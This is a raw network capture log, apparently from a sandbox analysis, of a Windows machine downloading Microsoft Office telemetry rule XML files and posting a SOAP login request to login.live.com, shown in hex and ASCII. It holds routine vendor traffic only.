2024-11-16 18:22:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182236Z-16547b76f7fd4rc5hC1DFWkzhw00000003d000000000g74z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:36 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182236Z-16547b76f7fsq6p7hC1DFWfx6800000001k000000000fy20 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:37 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182237Z-16547b76f7fw2955hC1DFWsptc00000003n000000000epu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:37 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:37 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 416d43dc-f01e-003f-18d2-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182237Z-1866b5c5fbbtpjhjhC1DFWr6tw000000035g000000003k81 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 18:22:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:37 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182237Z-164f84587bfghdt4hC1DFWu5nn0000000300000000006en4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182237Z-164f84587bfm8kdnhC1DFWey4g000000035000000000mxe1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182237Z-164f84587bfrrmqdhC1DFWvu6s00000001sg00000000ctp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:37 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182238Z-16547b76f7fmbrhqhC1DFWkds80000000pz000000000n156 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49897	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 18:22:38 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:38 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C545_BAY x-ms-request-id: 314ba1a8-890f-4566-b597-0e22c073a622 PPServer: PPV: 30 H: PH1PEPF00011E82 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:38 GMT Connection: close Content-Length: 11392
2024-11-16 18:22:38 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182238Z-16547b76f7fkf5v9hC1DFW2y5s00000002x000000000rb45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182238Z-16547b76f7fqqjnnhC1DFWxv7400000001dg00000000h226 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
